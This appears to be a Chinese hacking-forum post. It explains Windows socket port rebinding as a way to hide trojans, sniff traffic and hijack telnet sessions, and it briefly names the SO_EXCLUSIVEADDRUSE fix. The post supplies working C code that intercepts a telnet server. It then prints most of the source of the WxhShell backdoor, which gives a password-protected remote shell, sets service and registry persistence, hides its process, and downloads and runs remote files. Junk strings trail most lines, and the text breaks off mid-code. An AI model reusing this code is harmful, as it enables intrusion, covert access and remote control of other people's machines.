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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sAS[wcOQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); INY?@in  
rgF4 W8  
  saddr.sin_family = AF_INET; )]C(NTfxg  
d:{}0hmxI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S]Ye`  
6&o?#l;|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *p0Kw>  
Sym}#F\s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0UhJ I  
%D3Asw/5a  
  这意味着什么?意味着可以进行如下的攻击: Nx"|10gC  
ZF@$3   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Of>2m<  
\. a7F4h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $f=6>Kn|^]  
~l}\K10L*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5 zz">-Q !  
>qZl s'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gxmY^" Jy  
06z+xxCo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a SMoee@!  
4UHviuOo8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B.:1fT7lI  
z9E*1B+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S$ k=70H  
<m~{60{  
  #include zKT4j1 h  
  #include u82(`+B  
  #include "s}Oeu[  
  #include    gYBMi)`RT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v.hQ 9#:  
  int main() Y h53Z"a  
  { B!U;a=ia  
  WORD wVersionRequested; [I}z\3Z %  
  DWORD ret; ueEf>0  
  WSADATA wsaData; e.fxB  
  BOOL val; &+3RsIl W  
  SOCKADDR_IN saddr; *fz#B/ _o  
  SOCKADDR_IN scaddr; 10xza=a  
  int err; 3H|drj:KV  
  SOCKET s; ,(&Fb~r]  
  SOCKET sc; M 5$JBnN  
  int caddsize; 13pu{Xak  
  HANDLE mt; i,t!17M:  
  DWORD tid;   `g <0FQA  
  wVersionRequested = MAKEWORD( 2, 2 ); frc9   
  err = WSAStartup( wVersionRequested, &wsaData ); v3{%U1>}v  
  if ( err != 0 ) { \VWgF)_  
  printf("error!WSAStartup failed!\n"); \/b[V3<"  
  return -1; ]Ljb&*IEj  
  } 33&l.[A"!}  
  saddr.sin_family = AF_INET; nu Vux5:  
   %y7ZcH'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K0D|p$v  
qWf[X'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); USaa#s4'  
  saddr.sin_port = htons(23); ) O&zb_{n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WNt':w^_  
  { w[$oH^7  
  printf("error!socket failed!\n"); m6#a {  
  return -1; 'Va<GHr>+  
  } &TL"Hd  
  val = TRUE; J *38GX+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \(--$9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,U)&ny  
  { 8nWPt!U:  
  printf("error!setsockopt failed!\n"); 5nTcd@lX  
  return -1; !a25cm5ys  
  } \XwC|[%P  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I;n <) >  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5{#s<%b.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =iH9=}aBFC  
Mdh]qKw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +v$W$s&b-h  
  { d]:G#<.  
  ret=GetLastError(); 3V7WIj<  
  printf("error!bind failed!\n"); R+_!FnOJ  
  return -1; pjl>ZoOM  
  } e7bMK<:r  
  listen(s,2); *Mb'y d/|  
  while(1) v+}${h9  
  { :LlZ#V2  
  caddsize = sizeof(scaddr); 9C=*>I27?  
  //接受连接请求 IZ\fvYp  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); / DP0K @%  
  if(sc!=INVALID_SOCKET) 8_ o~0lb  
  { gf?N(,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i=1crJ:  
  if(mt==NULL) i+pQ 7wx  
  { c&,q`_t  
  printf("Thread Creat Failed!\n"); 29CzG0?B  
  break; A\W) uwyN  
  } tCm]1ZgRW  
  } Ftd,dqd  
  CloseHandle(mt); 9|[uie  
  } bub6{MQW8e  
  closesocket(s); _!!Fg%a5"R  
  WSACleanup(); 9_?e, Q  
  return 0; e6bh,BwgQq  
  }   BoST?"&}'  
  DWORD WINAPI ClientThread(LPVOID lpParam) \WbQS#Z9  
  { DycXJ3eQ  
  SOCKET ss = (SOCKET)lpParam; HVhP |+  
  SOCKET sc; AJE$Z0{q  
  unsigned char buf[4096]; w^("Pg`  
  SOCKADDR_IN saddr; FD&^nJ_{  
  long num; J#ClQ%  
  DWORD val; L[A?W  
  DWORD ret; r ;MFVj{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 aEh9 za  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8e^uKYR<  
  saddr.sin_family = AF_INET; k<M Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7S^G]g!x  
  saddr.sin_port = htons(23); 8qaU[u&$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SH#*Lc   
  { -(>Ch>O  
  printf("error!socket failed!\n"); ,,+4d :8$  
  return -1; a s('ZD.9  
  } -|f0;Fl  
  val = 100; )B)f`(SA"<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &CSy>7&q  
  { M_-L#FHX  
  ret = GetLastError(); <VQ)}HW;k  
  return -1; 1r_V$o$  
  } ;ISe@ yR;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k<CbI V  
  { hqlQ-aytS  
  ret = GetLastError(); A0U9,M  
  return -1; 2ZEGE+0  
  } U*E)y7MY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \G7F/$g  
  { awvP;F?q|  
  printf("error!socket connect failed!\n"); @6UZC-M0  
  closesocket(sc); \v5;t9uBZ  
  closesocket(ss); c#"t.j<E}  
  return -1; E`V\/`5D  
  } ;,e16^\' &  
  while(1) esQ$.L  
  { "tl$JbRTY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ej 5_d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bk;uKV+<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RPte[tq  
  num = recv(ss,buf,4096,0); ;gSRpTS:  
  if(num>0)  y1T(R#  
  send(sc,buf,num,0); 5ya^k{`+ZO  
  else if(num==0) vp.?$(L^@/  
  break; ah_ >:x  
  num = recv(sc,buf,4096,0); 5%e+@X;j  
  if(num>0) -W<1BJE  
  send(ss,buf,num,0); S4[ #[w`=  
  else if(num==0) _ZFEo< `'  
  break;  o kA<  
  } P\<:.8@$S  
  closesocket(ss); I[v`)T'_{  
  closesocket(sc); W]7/ e  
  return 0 ; a!-J=\>9  
  } c.b| RM0;  
s.Bb@Jq  
YURMXbj  
==========================================================  X(X[v]  
,Kl?-W@  
下边附上一个代码,,WXhSHELL X-kOp9/.  
qIQRl1Tw;V  
========================================================== h~](9e s  
Uc'}y!R  
#include "stdafx.h" )RvX}y-  
Bf;_~1+vLG  
#include <stdio.h> `OWHf?t:  
#include <string.h> y%; o  
#include <windows.h> q~[s KAh  
#include <winsock2.h> mfaU_Vo&  
#include <winsvc.h> uf9&o#  
#include <urlmon.h> QDV+(  
F.5fasdX'  
#pragma comment (lib, "Ws2_32.lib") DyiJ4m}kh  
#pragma comment (lib, "urlmon.lib") `o295eiY(b  
la_c:#ho  
#define MAX_USER   100 // 最大客户端连接数 C!Srv 7  
#define BUF_SOCK   200 // sock buffer xk% 62W  
#define KEY_BUFF   255 // 输入 buffer 25-h5$s  
5TB6QLPEwY  
#define REBOOT     0   // 重启 0kOwA%m  
#define SHUTDOWN   1   // 关机 ow{.iv\,u  
Z%:>nDZV  
#define DEF_PORT   5000 // 监听端口 S6JXi>n  
&0q pgl|  
#define REG_LEN     16   // 注册表键长度 L/exR6M7  
#define SVC_LEN     80   // NT服务名长度 /*,_\ ;  
ktx| c19  
// 从dll定义API Q N#bd~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j]<K%lwp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B5|\<CF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dCTyfXou[=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OQB7C0+ &  
HNv~ZAzBG-  
// wxhshell配置信息 [K\b"^=<  
struct WSCFG { 2wIJ;rh  
  int ws_port;         // 监听端口 T-6<qh  
  char ws_passstr[REG_LEN]; // 口令 m 0vW<  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0FI |7  
  char ws_regname[REG_LEN]; // 注册表键名 B6k<#-HAT  
  char ws_svcname[REG_LEN]; // 服务名 6X%g-aTs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =(D"(OsQ/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >>$`]]7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &k%>u[Bo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v /c]=/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3U+FXK#6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |oXd4  
ZDbe]9#Xh  
}; n*=#jL  
-LszaMR}  
// default Wxhshell configuration a~$Y;C_#<  
struct WSCFG wscfg={DEF_PORT, U>f'j;5  
    "xuhuanlingzhe", .E}lAd.Mn  
    1, @|DQZt  
    "Wxhshell", mQ"uG?NE  
    "Wxhshell", t'Wv? ,  
            "WxhShell Service", 3>@VPMi  
    "Wrsky Windows CmdShell Service", l9&k!kF`  
    "Please Input Your Password: ", qrlC U4  
  1, 9DNp  
  "http://www.wrsky.com/wxhshell.exe", SI+Uq(k  
  "Wxhshell.exe" KRC"3Qt  
    }; oIj=ba(n1  
3^+D,)#D^  
// 消息定义模块 U*$xR<8v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @i;)`k5b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?e<2'\5v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }ARA K^%  
char *msg_ws_ext="\n\rExit."; K8_v5  
char *msg_ws_end="\n\rQuit."; HT.*r6Y>g  
char *msg_ws_boot="\n\rReboot..."; yQ N{)rv  
char *msg_ws_poff="\n\rShutdown..."; ^D$|$=|DH  
char *msg_ws_down="\n\rSave to "; \xCCJWek  
h&$h<zL[  
char *msg_ws_err="\n\rErr!"; yEI@^8]s  
char *msg_ws_ok="\n\rOK!"; ezp%8IZ;  
$3g{9)}  
char ExeFile[MAX_PATH]; lbBWOx/|  
int nUser = 0; }Ze*/ p-  
HANDLE handles[MAX_USER]; LD}~]  
int OsIsNt; -9i7Ja  
sE6>JaH  
SERVICE_STATUS       serviceStatus; *c94'Tcl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *kl  :/#  
$}gM JG  
// 函数声明 K%? g6j  
int Install(void); j fY7ich  
int Uninstall(void); Ey|_e3Lf[  
int DownloadFile(char *sURL, SOCKET wsh); r@{TN6U  
int Boot(int flag); E>|X'I?r^  
void HideProc(void); P.,U>m  
int GetOsVer(void); wwB3m&  
int Wxhshell(SOCKET wsl); Q,&Li+u|  
void TalkWithClient(void *cs); MxIa,M <  
int CmdShell(SOCKET sock); Q S&B"7;g  
int StartFromService(void); rTIu'  
int StartWxhshell(LPSTR lpCmdLine); 6(f 'P_*  
Yg^ &4ZF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y#ZgrziYM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [7FG;}lB-  
\:WWrY8&  
// 数据结构和表定义 qJrT  
SERVICE_TABLE_ENTRY DispatchTable[] = c>B1cR  
{ :x*)o+  
{wscfg.ws_svcname, NTServiceMain}, T`ibulp  
{NULL, NULL} "0P`=n  
}; 20|`jxp  
\xkKgI/  
// 自我安装 -Lh7!d  
int Install(void) 3N2d V6u  
{ :hX[8u  
  char svExeFile[MAX_PATH]; qq| 5[I.?  
  HKEY key; ukW&\  
  strcpy(svExeFile,ExeFile); FQDf?d5  
[X.bR$>  
// 如果是win9x系统,修改注册表设为自启动 vA1Yya B  
if(!OsIsNt) { E+]9!fDy<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N>!:bF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H4w\e#|  
  RegCloseKey(key); k2U*dn"9U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?BnU0R_r]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (j&:  
  RegCloseKey(key); -Z"4W  
  return 0; N]A# ecm  
    } (jM0YtrD  
  } [>O!~  
} CJ :V%|  
else { !qt2,V  
Pb#M7=J/  
// 如果是NT以上系统,安装为系统服务 g"!(@]L!@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "?I#!t%'  
if (schSCManager!=0) /o;M ?Nt6  
{ uZ!YGv0^  
  SC_HANDLE schService = CreateService d#g))f;  
  ( ;.A}c)b  
  schSCManager, #X}HF$t{=  
  wscfg.ws_svcname, sS>b}u+v#!  
  wscfg.ws_svcdisp, %c }V/v_h  
  SERVICE_ALL_ACCESS, pjWRd_h.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yq+ 1kA  
  SERVICE_AUTO_START, Y^eN}@]?&  
  SERVICE_ERROR_NORMAL, 7>JTQ CJ  
  svExeFile, d~LoHp  
  NULL, ')y2W1  
  NULL, ]:|B).  
  NULL, .,bpFcQ  
  NULL, i})s4%a  
  NULL &|/_"*uM  
  ); L8VOiK=,  
  if (schService!=0) ;o_F<68QP  
  { !(GyOAb  
  CloseServiceHandle(schService); P!eo#b^S  
  CloseServiceHandle(schSCManager); 54+(o6E<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *GT=U(d  
  strcat(svExeFile,wscfg.ws_svcname); UlYFloZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qb>41j9_t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *NmY]  
  RegCloseKey(key); $C4~v  
  return 0; I\~[GsDY  
    } s^wm2/Yw  
  } bn(N8MFCV  
  CloseServiceHandle(schSCManager); [n2B6Px  
} m8q4t ,<J  
} va6Fp2n<1*  
.uuhoqG0  
return 1; >t+U`6xK  
} =@HS  
/eF@a!  
// 自我卸载 S /hx\TzC  
int Uninstall(void) ;M:AcQZ|_  
{ UVo`jb|> o  
  HKEY key; aSzI5J]/=  
Joow{75K  
if(!OsIsNt) { 2Y vr|] \8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ge~@}&#iO@  
  RegDeleteValue(key,wscfg.ws_regname); *]$B 9zVs!  
  RegCloseKey(key); DX s an  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :<QknU}dwy  
  RegDeleteValue(key,wscfg.ws_regname); d*@T30  
  RegCloseKey(key); e97G]XLR  
  return 0; <xI<^r'C9e  
  } X?5{2ulrI  
} Hn|W3U  
} )4yP(6|lx  
else { De?VZ2o9"  
X0/slOT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NJUKH1lIhR  
if (schSCManager!=0) GWA"!~Hu  
{ I Dohv[#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *WwM"NFHDd  
  if (schService!=0) W0qR? jc  
  { rq+_ [!  
  if(DeleteService(schService)!=0) { xe@1H\7:  
  CloseServiceHandle(schService); 5'AP:3Gf"  
  CloseServiceHandle(schSCManager); nBh+UT}  
  return 0; 4Uy%wB  
  } =)a24PDG  
  CloseServiceHandle(schService); dljE.peL  
  } c4Ebre-Oa  
  CloseServiceHandle(schSCManager); <DF3!r  
} qE[S>/R"  
} ^P) f]GQx  
!nvwRQ  
return 1; FY1iY/\Cn  
} E }L Hp  
`|dyT6V0I_  
// 从指定url下载文件 L)e" qC_-  
int DownloadFile(char *sURL, SOCKET wsh) HQqFrR  
{ U0x A~5B  
  HRESULT hr; pSs*Z6c)@  
char seps[]= "/"; pgU [di  
char *token; V;M_Y$`Lh  
char *file; BEdCA]T  
char myURL[MAX_PATH]; osW"wh_  
char myFILE[MAX_PATH]; >B BV/C'9  
kK6O ZhLH  
strcpy(myURL,sURL); E/;t6& 6  
  token=strtok(myURL,seps); ;tOs A #  
  while(token!=NULL) ^_2c\mw_I  
  { CMt<oT6.?  
    file=token; d:=' Xs  
  token=strtok(NULL,seps); YF%gs{  
  } T &ZQ ie/  
5ZCu6 A  
GetCurrentDirectory(MAX_PATH,myFILE); CIudtY(:  
strcat(myFILE, "\\"); NR4+&d  
strcat(myFILE, file); 8wU$kK  
  send(wsh,myFILE,strlen(myFILE),0); p.DQ|?  
send(wsh,"...",3,0); h4Crq Yxa_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?uWUs )9  
  if(hr==S_OK) ,81%8r  
return 0;  vy<W4  
else +|A`~\@N  
return 1; 9vI~vl l  
w"hd_8cO  
} BU`X_Z1)  
-f+#j=FX  
// 系统电源模块 odv2(\  
int Boot(int flag) S 'a- E![  
{ kDmm  
  HANDLE hToken; R9XU7_3B  
  TOKEN_PRIVILEGES tkp; t{md&k4  
TW|K.t@5#H  
  if(OsIsNt) { ^Q/*on;A,/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [+ud7l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $8tk|uh  
    tkp.PrivilegeCount = 1; D"7}&Ry:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 55Ss%$k@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `TrWtSwv  
if(flag==REBOOT) { 9LR=>@Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C6!F6Stn]g  
  return 0; Et=Pr+Q{c  
} JZ5k3#@e  
else { N\{"&e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O]N/(pe:d  
  return 0; %a%xUce&-X  
} Y_Yf'z1>[  
  } fY<#KM6X  
  else { AwM`[`ReE  
if(flag==REBOOT) { `7 "="T~ *  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5pQpzn =  
  return 0; `fv5U%  
} fzsy<Vl",  
else { Ailq,  c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6v`3/o  
  return 0; GZ%vFje_ K  
} HC iRk1  
} V_7\VKR  
mLCD N1UO{  
return 1; }b_Ob  
} U^m#!hp  
[WwoGg*)mn  
// win9x进程隐藏模块 'l*X?ccKy  
void HideProc(void) H& |/|\8F  
{ %>KbaM1b  
pMfb(D"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wQxI({k@  
  if ( hKernel != NULL ) 1@]&iZ]  
  { )[rVg/m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vsGKCrLwh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Al>d 21U  
    FreeLibrary(hKernel); YxF@1_g  
  } sd%j&Su#4  
(7 I|lf e  
return; xSY"Ru  
} 0 R6:3fV6R  
?sN{U\  
// 获取操作系统版本 U1\7Hcs$  
int GetOsVer(void) 4 m:h&^`N  
{ X[BP0:`t  
  OSVERSIONINFO winfo; kR=sr/{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :So<N}&  
  GetVersionEx(&winfo); -FZC|[is  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fi?4!h  
  return 1; FnvpnU",  
  else GJ9>i)+h;  
  return 0; yD+4YD  
} C`5'5/-.  
yl[I'fX66  
// 客户端句柄模块 HTQZIm  
int Wxhshell(SOCKET wsl)  -WC0W  
{ j|!,^._i  
  SOCKET wsh; 4BCPh:  
  struct sockaddr_in client; aOD h5  
  DWORD myID; pz%s_g'  
7l* &Fh9;  
  while(nUser<MAX_USER) TgiZ % G  
{ #U:|- a.>  
  int nSize=sizeof(client); \n<! ld  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3h7RQ:lUi  
  if(wsh==INVALID_SOCKET) return 1; z33UER"  
CG1MT(V7?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }gbLWx'iG  
if(handles[nUser]==0) o/pw=R/):  
  closesocket(wsh); (b25g!  
else s6H.Q$3L  
  nUser++; y4-kuMYR  
  } B;k'J:-"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q'OtXs 80  
EBy7wU`S  
  return 0; $1yy;IyR  
} ]az(w&vqg2  
{ 4J.  
// 关闭 socket U1 _"D+XB  
void CloseIt(SOCKET wsh) T^v763%  
{ .a4,Lr#q.  
closesocket(wsh); o[Ffa# sE  
nUser--; |A&;m}(Mt  
ExitThread(0); P$E iD+5#z  
} jVff@)_S  
Kg%9&l  
// 客户端请求句柄 1K Vit{  
void TalkWithClient(void *cs) JduO^Fit  
{ J"aw 1  
ZHTi4JY  
  SOCKET wsh=(SOCKET)cs; +?J  N_aR  
  char pwd[SVC_LEN]; PUR,r%K`  
  char cmd[KEY_BUFF]; 63l3WvoK  
char chr[1]; NLy4Z:&{  
int i,j; X4%uY  
]?6wU-a  
  while (nUser < MAX_USER) { 8iIp[9~=  
/.]u%;%r[  
if(wscfg.ws_passstr) {  2%@tnk|@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ajSB3}PN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M@[W"f Wq  
  //ZeroMemory(pwd,KEY_BUFF); 6KddHyFz  
      i=0; Ci`o;KVj  
  while(i<SVC_LEN) { f@i#Znkf*?  
n0KpKH<&  
  // 设置超时 ,L& yKS@  
  fd_set FdRead; KA2>[x2  
  struct timeval TimeOut; 8pnD6Lp>  
  FD_ZERO(&FdRead); *w0!C:mL&  
  FD_SET(wsh,&FdRead); +[76_EXy  
  TimeOut.tv_sec=8; r#zcl)rbU  
  TimeOut.tv_usec=0; wAHuPQ&_Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JSL&` `  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }#ink4dK:  
t3)6R(JC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Cy>'l*Og7  
  pwd=chr[0]; /a\i  
  if(chr[0]==0xd || chr[0]==0xa) { jg]KE8(  
  pwd=0; h*Fv~j'p  
  break; ?lC>E[  
  } gTj,I=3$?e  
  i++; 5]&sXs  
    } 'I,a 29  
JwI99I'  
  // 如果是非法用户,关闭 socket 48:xvTE?N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )U~|QdZ  
} %9cT#9!7  
SH)-(+72d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wUaWF$~y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wO]e%BTO  
3t-STk?  
while(1) { &~*](Ma  
(WHg B0{  
  ZeroMemory(cmd,KEY_BUFF); OlT8pG5Oa  
k'8tcXs  
      // 自动支持客户端 telnet标准   F\eQV<  
  j=0; 8UU L=  
  while(j<KEY_BUFF) { lC($@sC%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m!ZY]:)$  
  cmd[j]=chr[0]; bMK X9`*o  
  if(chr[0]==0xa || chr[0]==0xd) { gvI!Ice#  
  cmd[j]=0; l`"?K D  
  break; bTJ<8q  
  } p8'$@:M\  
  j++; qur2t8gnxq  
    } lie,A  
,zgz7  
  // 下载文件 t+v %%N_  
  if(strstr(cmd,"http://")) { D>|`+=1'0"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )Fx]LeI;  
  if(DownloadFile(cmd,wsh)) r;{$x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 35l%iaj]G5  
  else /ZyMD(_J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,IB\1#  
  } DQGrXMpV0  
  else { FO*Gc Z  
}||u {[  
    switch(cmd[0]) { a,w|r#x]  
  ;`oK5  
  // 帮助 fg LY{  
  case '?': { M P8Sd1_=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hs)Cf)8u  
    break; ?z>J7 }w*=  
  } uH*6@aYPo  
  // 安装 _0+X32HjJ  
  case 'i': { GST#b6S  
    if(Install()) @_kF&~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x3i}IC  
    else lpXGsK H2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hJ(vDv%  
    break; Z[Tou  
    } u\Cf@}5(  
  // 卸载 M{ncWq*_j  
  case 'r': { <&m50pq  
    if(Uninstall()) jfG of*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wp@_4Iq1$  
    else (iq>]-=<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9s<4`oa  
    break; Cn/WNCzst&  
    } %T]$kF++&  
  // 显示 wxhshell 所在路径 1 tOslP@  
  case 'p': { lU doMm  
    char svExeFile[MAX_PATH]; WkXgz6 P  
    strcpy(svExeFile,"\n\r"); _tHhS@   
      strcat(svExeFile,ExeFile); Mz&/.A  
        send(wsh,svExeFile,strlen(svExeFile),0); l:'#pZ4T  
    break; 0!,uo\`  
    } >Lo\?X~  
  // 重启 >e {1e  
  case 'b': { q;,lv3I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bkd`7(r  
    if(Boot(REBOOT)) u@dvFzc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <<!fA ><W  
    else { 9)7$UQY  
    closesocket(wsh); AJ%E.+@=r  
    ExitThread(0); " AUSgVE+h  
    } u9~5U9]O%6  
    break; A1/@KC"&{G  
    } :&wb+tV  
  // 关机 xnMcxys~  
  case 'd': {  !64Tx  
